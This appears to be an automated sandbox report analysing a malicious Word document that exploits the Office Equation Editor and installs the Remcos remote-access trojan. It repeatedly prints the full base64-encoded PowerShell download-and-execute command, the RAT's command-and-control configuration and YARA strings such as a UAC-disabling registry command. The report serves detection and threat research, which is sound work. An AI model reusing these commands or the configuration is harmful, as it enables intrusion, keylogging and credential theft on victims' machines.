Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
atthings.doc

Overview

General Information

Sample name:atthings.doc
renamed because original name is a hash value
Original sample name:weneedtocreatebesthingswithgreatunderstandhowpowerfulthigns__________weneedbetterunderstandtogetmebackwithme________verynicethingsarearoundonmewithgreatthings.doc
Analysis ID:1570644
MD5:29f7672e6a927d5b4d14d8c9f29e9786
SHA1:3ce748611c888eb7f676a1e87066565e1e4b67ae
SHA256:37deb0c041dabe99248653f5b4eb440bd354eb9791cad1323d992ceecd446867
Tags:docuser-abuse_ch
Infos:

Detection

Remcos
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs a global keyboard hook
Installs new ROOT certificates
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Shellcode detected
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara signature match

Classification

Process Tree

  • System is w7x64
  • WINWORD.EXE (PID: 3256 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)
    • EQNEDT32.EXE (PID: 3332 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)
      • wscript.exe (PID: 3484 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\givemebestthingswithgreatentierymatterofgo.vbS" MD5: 979D74799EA6C8B8167869A68DF5204A)
        • powershell.exe (PID: 3532 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $dialoguer = 'JGNvbXBhY3Rpb24gPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskZGV0b3hpY2F0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyR0aG9sZWlpdGUgPSAkZGV0b3hpY2F0ZXMuRG93bmxvYWREYXRhKCRjb21wYWN0aW9uKTskZmxvb3Jib2FyZCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0aG9sZWlpdGUpOyRwYXNzYWdld2F5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRjaG9sZXJhaWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRleHB1cmdhdGVzID0gJGZsb29yYm9hcmQuSW5kZXhPZigkcGFzc2FnZXdheSk7JHNpY2NpbmcgPSAkZmxvb3Jib2FyZC5JbmRleE9mKCRjaG9sZXJhaWMpOyRleHB1cmdhdGVzIC1nZSAwIC1hbmQgJHNpY2NpbmcgLWd0ICRleHB1cmdhdGVzOyRleHB1cmdhdGVzICs9ICRwYXNzYWdld2F5Lkxlbmd0aDskYWxiaW5vdGljID0gJHNpY2NpbmcgLSAkZXhwdXJnYXRlczskc2VlZGNha2UgPSAkZmxvb3Jib2FyZC5TdWJzdHJpbmcoJGV4cHVyZ2F0ZXMsICRhbGJpbm90aWMpOyRmcmVha2luZyA9IC1qb2luICgkc2VlZGNha2UuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJHNlZWRjYWtlLkxlbmd0aCldOyRncmVldGVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZnJlYWtpbmcpOyRjaGluZXMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRncmVldGVkKTskcGludGFpbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwaW50YWlsLkludm9rZSgkbnVsbCwgQCgndHh0LlJSWk1ILzQ1Ni85MTIuMTYxLjYwMS43OC8vOnB0dGgnLCAnJGNhbW9taWxlJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCAnQ2FzUG9sJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCcxJywnJGNhbW9taWxlJykpOw==';$crunodes = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($dialoguer));Invoke-Expression $crunodes MD5: EB32C070E658937AA9FA9F3AE629B2B8)
          • CasPol.exe (PID: 3756 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": ["216.9.226.100:3898:1"], "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-Q9T2QD", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Enable", "Hide keylog file": "Enable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "mic"}

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
atthings.docINDICATOR_RTF_MalVer_ObjectsDetects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.ditekSHen
  • 0x1514:$obj2: \objdata
  • 0x14fa:$obj3: \objupdate
  • 0x14d6:$obj6: \objlink

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\Desktop\~WRD0000.tmpINDICATOR_RTF_EXPLOIT_CVE_2017_8759_2detects CVE-2017-8759 weaponized RTF documents.ditekSHen
  • 0xa1ee:$clsid3: 4d73786d6c322e534158584d4c5265616465722e
  • 0xa238:$ole2: d0cf11e0a1b11ae1
  • 0x5d08:$obj2: \objdata
  • 0x5ce6:$obj4: \objemb

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000008.00000002.887359657.00000000005E5000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
    00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
      00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
        00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
          00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmpWindows_Trojan_Remcos_b296e965unknownunknown
          • 0x6b6f8:$a1: Remcos restarted by watchdog!
          • 0x6bc70:$a3: %02i:%02i:%02i:%03i
          Click to see the 16 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          8.2.CasPol.exe.400000.0.raw.unpackJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
            8.2.CasPol.exe.400000.0.raw.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
              8.2.CasPol.exe.400000.0.raw.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
                8.2.CasPol.exe.400000.0.raw.unpackWindows_Trojan_Remcos_b296e965unknownunknown
                • 0x6b6f8:$a1: Remcos restarted by watchdog!
                • 0x6bc70:$a3: %02i:%02i:%02i:%03i
                8.2.CasPol.exe.400000.0.raw.unpackREMCOS_RAT_variantsunknownunknown
                • 0x65994:$str_a1: C:\Windows\System32\cmd.exe
                • 0x65910:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
                • 0x65910:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
                • 0x65e10:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
                • 0x66410:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
                • 0x65a04:$str_b2: Executing file:
                • 0x6683c:$str_b3: GetDirectListeningPort
                • 0x66200:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
                • 0x66380:$str_b7: \update.vbs
                • 0x65a2c:$str_b9: Downloaded file:
                • 0x65a18:$str_b10: Downloading file:
                • 0x65abc:$str_b12: Failed to upload file:
                • 0x66804:$str_b13: StartForward
                • 0x66824:$str_b14: StopForward
                • 0x662d8:$str_b15: fso.DeleteFile "
                • 0x6626c:$str_b16: On Error Resume Next
                • 0x66308:$str_b17: fso.DeleteFolder "
                • 0x65aac:$str_b18: Uploaded file:
                • 0x65a6c:$str_b19: Unable to delete:
                • 0x662a0:$str_b20: while fso.FileExists("
                • 0x65f49:$str_c0: [Firefox StoredLogins not found]
                Click to see the 8 entries

                Sigma Signatures

                Exploits

                barindex
                Sigma detected: EQNEDT32.EXE connecting to internet
                Source: Network ConnectionAuthor: Joe Security: Data: DestinationIp: 87.106.161.219, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3332, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49161
                Sigma detected: File Dropped By EQNEDT32EXE
                Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3332, TargetFilename: C:\Users\user\AppData\Roaming\givemebestthingswithgreatentierymatterofgo.vbS

                System Summary

                barindex
                Sigma detected: Base64 Encoded PowerShell Command Detected
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $dialoguer = 'JGNvbXBhY3Rpb24gPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskZGV0b3hpY2F0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyR0aG9sZWlpdGUgPSAkZGV0b3hpY2F0ZXMuRG93bmxvYWREYXRhKCRjb21wYWN0aW9uKTskZmxvb3Jib2FyZCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0aG9sZWlpdGUpOyRwYXNzYWdld2F5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRjaG9sZXJhaWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRleHB1cmdhdGVzID0gJGZsb29yYm9hcmQuSW5kZXhPZigkcGFzc2FnZXdheSk7JHNpY2NpbmcgPSAkZmxvb3Jib2FyZC5JbmRleE9mKCRjaG9sZXJhaWMpOyRleHB1cmdhdGVzIC1nZSAwIC1hbmQgJHNpY2NpbmcgLWd0ICRleHB1cmdhdGVzOyRleHB1cmdhdGVzICs9ICRwYXNzYWdld2F5Lkxlbmd0aDskYWxiaW5vdGljID0gJHNpY2NpbmcgLSAkZXhwdXJnYXRlczskc2VlZGNha2UgPSAkZmxvb3Jib2FyZC5TdWJzdHJpbmcoJGV4cHVyZ2F0ZXMsICRhbGJpbm90aWMpOyRmcmVha2luZyA9IC1qb2luICgkc2VlZGNha2UuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJHNlZWRjYWtlLkxlbmd0aCldOyRncmVldGVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZnJlYWtpbmcpOyRjaGluZXMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRncmVldGVkKTskcGludGFpbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwaW50YWlsLkludm9rZSgkbnVsbCwgQCgndHh0LlJSWk1ILzQ1Ni85MTIuMTYxLjYwMS43OC8vOnB0dGgnLCAnJGNhbW9taWxlJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCAnQ2FzUG9sJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCcxJywnJGNhbW9taWxlJykpOw==';$crunodes = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($dialoguer));Invoke-Expression $crunodes, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $dialoguer = 'JGNvbXBhY3Rpb24gPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskZGV0b3hpY2F0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyR0aG9sZWlpdGUgPSAkZGV0b3hpY2F0ZXMuRG93bmxvYWREYXRhKCRjb21wYWN0aW9uKTskZmxvb3Jib2FyZCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0aG9sZWlpdGUpOyRwYXNzYWdld2F5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRjaG9sZXJhaWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRleHB1cmdhdGVzID0gJGZsb29yYm9hcmQuSW5kZXhPZigkcGFzc2FnZXdheSk7JHNpY2NpbmcgPSAkZmxvb3Jib2FyZC5JbmRleE9mKCRjaG9sZXJhaWMpOyRleHB1cmdhdGVzIC1nZSAwIC1hbmQgJHNpY2NpbmcgLWd0ICRleHB1cmdhdGVzOyRleHB1cmdhdGVzICs9ICRwYXNzYWdld2F5Lkxlbmd0aDskYWxiaW5vdGljID0gJHNpY2NpbmcgLSAkZXhwdXJnYXRlczskc2VlZGNha2UgPSAkZmxvb3Jib2FyZC5TdWJzdHJpbmcoJGV4cHVyZ2F0ZXMsICRhbGJpbm90aWMpOyRmcmVha2luZyA9IC1qb2luICgkc2VlZGNha2UuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJHNlZWRjYWtlLkxlbmd0aCldOyRncmVldGVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZnJlYWtpbmcpOyRjaGluZXMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRncmVldGVkKTskcGludGFpbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwaW50YWlsLkludm9rZSgkbnVsbCwgQCgndHh0LlJSWk1ILzQ1Ni85MTIuMTYxLjYwMS43OC8vOnB0dGgnLCAnJGNhbW9taWxlJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCAnQ2FzUG
                Sigma detected: Equation Editor Network Connection
                Source: Network ConnectionAuthor: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49161, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3332, Protocol: tcp, SourceIp: 87.106.161.219, SourceIsIpv6: false, SourcePort: 80
                Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $dialoguer = 'JGNvbXBhY3Rpb24gPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskZGV0b3hpY2F0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyR0aG9sZWlpdGUgPSAkZGV0b3hpY2F0ZXMuRG93bmxvYWREYXRhKCRjb21wYWN0aW9uKTskZmxvb3Jib2FyZCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0aG9sZWlpdGUpOyRwYXNzYWdld2F5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRjaG9sZXJhaWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRleHB1cmdhdGVzID0gJGZsb29yYm9hcmQuSW5kZXhPZigkcGFzc2FnZXdheSk7JHNpY2NpbmcgPSAkZmxvb3Jib2FyZC5JbmRleE9mKCRjaG9sZXJhaWMpOyRleHB1cmdhdGVzIC1nZSAwIC1hbmQgJHNpY2NpbmcgLWd0ICRleHB1cmdhdGVzOyRleHB1cmdhdGVzICs9ICRwYXNzYWdld2F5Lkxlbmd0aDskYWxiaW5vdGljID0gJHNpY2NpbmcgLSAkZXhwdXJnYXRlczskc2VlZGNha2UgPSAkZmxvb3Jib2FyZC5TdWJzdHJpbmcoJGV4cHVyZ2F0ZXMsICRhbGJpbm90aWMpOyRmcmVha2luZyA9IC1qb2luICgkc2VlZGNha2UuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJHNlZWRjYWtlLkxlbmd0aCldOyRncmVldGVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZnJlYWtpbmcpOyRjaGluZXMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRncmVldGVkKTskcGludGFpbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwaW50YWlsLkludm9rZSgkbnVsbCwgQCgndHh0LlJSWk1ILzQ1Ni85MTIuMTYxLjYwMS43OC8vOnB0dGgnLCAnJGNhbW9taWxlJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCAnQ2FzUG9sJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCcxJywnJGNhbW9taWxlJykpOw==';$crunodes = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($dialoguer));Invoke-Expression $crunodes, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $dialoguer = 'JGNvbXBhY3Rpb24gPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskZGV0b3hpY2F0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyR0aG9sZWlpdGUgPSAkZGV0b3hpY2F0ZXMuRG93bmxvYWREYXRhKCRjb21wYWN0aW9uKTskZmxvb3Jib2FyZCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0aG9sZWlpdGUpOyRwYXNzYWdld2F5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRjaG9sZXJhaWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRleHB1cmdhdGVzID0gJGZsb29yYm9hcmQuSW5kZXhPZigkcGFzc2FnZXdheSk7JHNpY2NpbmcgPSAkZmxvb3Jib2FyZC5JbmRleE9mKCRjaG9sZXJhaWMpOyRleHB1cmdhdGVzIC1nZSAwIC1hbmQgJHNpY2NpbmcgLWd0ICRleHB1cmdhdGVzOyRleHB1cmdhdGVzICs9ICRwYXNzYWdld2F5Lkxlbmd0aDskYWxiaW5vdGljID0gJHNpY2NpbmcgLSAkZXhwdXJnYXRlczskc2VlZGNha2UgPSAkZmxvb3Jib2FyZC5TdWJzdHJpbmcoJGV4cHVyZ2F0ZXMsICRhbGJpbm90aWMpOyRmcmVha2luZyA9IC1qb2luICgkc2VlZGNha2UuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJHNlZWRjYWtlLkxlbmd0aCldOyRncmVldGVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZnJlYWtpbmcpOyRjaGluZXMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRncmVldGVkKTskcGludGFpbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwaW50YWlsLkludm9rZSgkbnVsbCwgQCgndHh0LlJSWk1ILzQ1Ni85MTIuMTYxLjYwMS43OC8vOnB0dGgnLCAnJGNhbW9taWxlJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCAnQ2FzUG
                Sigma detected: Suspicious Microsoft Office Child Process
                Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\givemebestthingswithgreatentierymatterofgo.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\givemebestthingswithgreatentierymatterofgo.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3332, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\givemebestthingswithgreatentierymatterofgo.vbS" , ProcessId: 3484, ProcessName: wscript.exe
                Sigma detected: WScript or CScript Dropper
                Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\givemebestthingswithgreatentierymatterofgo.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\givemebestthingswithgreatentierymatterofgo.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3332, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\givemebestthingswithgreatentierymatterofgo.vbS" , ProcessId: 3484, ProcessName: wscript.exe
                Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\givemebestthingswithgreatentierymatterofgo.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\givemebestthingswithgreatentierymatterofgo.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3332, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\givemebestthingswithgreatentierymatterofgo.vbS" , ProcessId: 3484, ProcessName: wscript.exe
                Sigma detected: Modification of IE Registry Settings
                Source: Registry Key setAuthor: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3332, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings
                Sigma detected: Non Interactive PowerShell Process Spawned
